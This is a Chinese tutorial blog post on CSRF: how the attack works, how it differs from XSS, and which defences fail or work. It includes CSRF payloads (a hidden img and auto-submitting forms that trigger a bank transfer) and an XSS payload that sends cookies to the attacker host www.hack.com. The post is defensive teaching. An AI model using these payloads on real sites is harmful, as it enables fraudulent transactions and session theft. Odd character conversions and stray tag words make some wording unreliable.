CSRF理解與防護

1、說明

記得之前去面試技術也不太會但你總得講點東西,讓面試時間長一些讓面試官以爲你基礎還能夠,當時選的就是名頭比較大的OWASP TOP 10。TOP 10嘛你總得拿出至少三個點來說的細一些以證實你是真的知道而不是背概念。前端

縱觀TOP 10 注入和XSS是比較有把握的,其餘什麼「失效的認證和會話管理」、「不安全的對象直接引用」,因爲當時沒有實際的生產環境攻擊和防禦經驗理解不了其所說的概念和影響,感受好幾個概念感受意思差很少面試官若是問區別那不願定講不清了。權衡之下就要鎖定在同是技術問題的CSRF上。web

而同時選擇XSS和CSRF你就不得不面對解釋這二者有何區別的問題。到如今這個問題仍然是web攻防文章和書藉都要談的問題,用得最多的講得最清楚的大概是德丸浩《Web應用安全權威指南》那樣,七八個箭頭箭來箭去,XSS第一步是第二步是而CSRF第一步是第二步是。看的時候以爲挺清楚,看完要本身去說區別作防禦仍是感受徹底不懂。也所以想來寫寫本身的理解。面試

 

2、CSRF定義

CSRF,英文全稱Cross Site Request Forgery,中文名跨站請求僞造。OWASP Top 10 2010排A5,OWASP Top 10 2013排A8,OWASP Top 10 2017沒排進。後端

 

3、CSRF利用形式

咱們借用OWASP Top 10 2013給出的例子。瀏覽器

首先,用戶登陸了沒有CSRF防禦的www.bank.com。該網站有一個轉帳連接http://www.bank.com/transferFunds?amount=money&destinationAccount=account_id安全

而後,用戶又訪問了攻擊者發送過來的連接好比叫http://www.hack.com/csrf_attack。該頁面具備如下關鍵代碼<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789「 width="0" height="0" />cookie

最後,瀏覽器自動請求src指向的連接http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789,因爲請求的是www.bank.com因此瀏覽器會自動帶上www.bank.com的cookie。連接+登陸cookie都已具有,www.bank.com並無其餘檢查,因此向123456789轉帳1500塊的請求就會被成功響應。session

 

4、CSRF與XSS的區別

從漏洞存在的位置上(CSRF存在於全部請求-響應模式的功能上,XSS存在於將用戶輸入回顯前端web頁面的位置上),從攻擊效果上(CSRF主要是執行網站自身已有功能,XSS主要是用於獲取Cookie)都有區別。app

但對於初學者最直接的仍是利用角度。當時面試說的是CSRF是利用B網站攻擊A網站,XSS(反射型)是將A網站的Cookie發到B網站,這理解是沒錯的。這裏再舉個例子更具象化地說明:前後端分離

攻擊 攻擊連接示例 說明
CSRF

http://www.hack.com/csrf_page(頁面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789「)

發送的是hack網站的頁面,目標是bank網站頁面
XSS

http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'

發送的是bank網站的頁面,目標是hack網站頁面

 

 

 

 

 

5、CSRF的防護

從前面CSRF利用形式能夠看到,CSRF的關鍵點是瀏覽器自動帶上了bank的Cookie訪問bank的連接,這是瀏覽器須要的機制應用是沒法阻止的。因此CSRF防範的立足點應該是,面對發過來的數據包如何識別是經過本網站點擊連接發過來的數據包,仍是其餘網站發來的數據訪問數據包。

5.1 錯誤的CSRF防護辦法

有時咱們會想固然地認爲某些方法能夠防護CSRF,爲了不踩坑,這裏先來介紹兩種典型的錯誤防護方式。

5.1.1 使用post方式防護CSRF

在前面使用的CSRF攻擊示例中,攻擊載荷是<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789「 width="0" height="0" />,其餘教程爲了簡單使用的也是get方式的示例,因此是否是若是個人請求限定是form表單post的,那是否是就能夠防護CSRF了呢?

答案是否認的。咱們徹底能夠把攻擊載荷換成如下post形式的攻擊代碼:

<body onload="document.forms[0].submit()">
    <form action="http://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.1.2 使用https防護CSRF

https是加密碼,攻擊者沒法修改其內容,網站使用https是否能夠防護CSRF呢?

答案也是否認的。認爲https有助於防護CSRF是沒很好地理解"https=http層+ssl層",https的封裝過程是http層內容交給ssl層,ssl層封裝完再交給傳輸層如此下去。CSRF是在http層設置內容,ssl如何防止得了csrf呢。咱們攻擊載荷改爲以下形式也徹底能夠正確請求(http改爲了https):

<body onload="document.forms[0].submit()">
    <form action="https://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.2 正確的CSRF防護辦法

5.2.1 Referer頭檢測法

Referer標識當前請求的來源頁面,瀏覽器訪問時除了自動帶上Cookie還會自動帶上Referer,因此服務端能夠檢測Referer頭是否本網站頁面來決定是否響應請求。

Referer是瀏覽器自動帶上的,基於認爲瀏覽器沒有相關漏洞的前提下,咱們能夠認爲攻擊者是無法僞造Referer頭的,也就是檢測Referer頭的方法是可靠的。

但該方式有時會不受承認,一是由於瀏覽器是能夠設置禁止發送Referer頭的,若是使用該方式那麼禁止Referer頭的瀏覽將沒法正常使用,這可能會下降用戶使用體驗。二是由於因爲移動端的崛起當下流行先後端分離app和web共用一套後端代碼,但app是不會自動帶Referer頭的,若是使用該方式app端很差處理。

 

5.2.2 token檢測法

token就是服務端返回給客戶端相似sessionid那樣一長串的類值(長是爲了防暴力猜解)。csrf依賴於瀏覽器該問連接時自動對應網站的cookie帶上,token不放cookie(通常form表單加個hidden屬性的input標籤來存放)csrf就無法獲取token,這樣咱們就能夠經過檢測發送過來的數據包中是否有正確的token值來決定是否響應請求。

在講清token防護的原理後,咱們再來說token的設計,由於token方式給人的感受很複雜使人望而生畏。

咱們首先明確一個問題,就是可以防止csrf攻擊的token,並不須要每次請求都不同,在用戶登陸後到退出前的這整個過程當中的全部請求token徹底能夠是同樣。由於(在基於沒有其餘漏洞會泄漏本次會話的token的設想下)黑客是沒法獲取用戶的tokne,因此又何須每一個請求都要生成一個新的token呢。(token每次請求都要不同的想法是受防重放攻擊的影響)只考濾防csrf不考濾防重放的狀況下,token設計就簡單多了。

使用sessionid做爲token設計:在csrf中cookie是瀏覽器本身帶上的,本質而言用戶的sessionid並未丟失(也就是攻擊者並不能知道sessionid是多少),基於此咱們徹底能夠不用另傳一個值只需直接將sessionid做爲token便可(或者也能夠作些運算好比取sessionid的某些值作個md5來作爲token,意思都差很少)。判斷代碼相似 if session["id"] == $_POST["token"]

與sessionid同時返回的token設計:在生成sessionid的同時生成一個token(服務端token能夠存於session變量中)返回給客戶端,客戶端保存該token每次請求時都在form表單中提交該值。判斷代碼相似if session["token"] == $_POST["token"]

 

參考:

德丸浩-《Web應用安全權威指南》

https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf

相關文章
相關標籤/搜索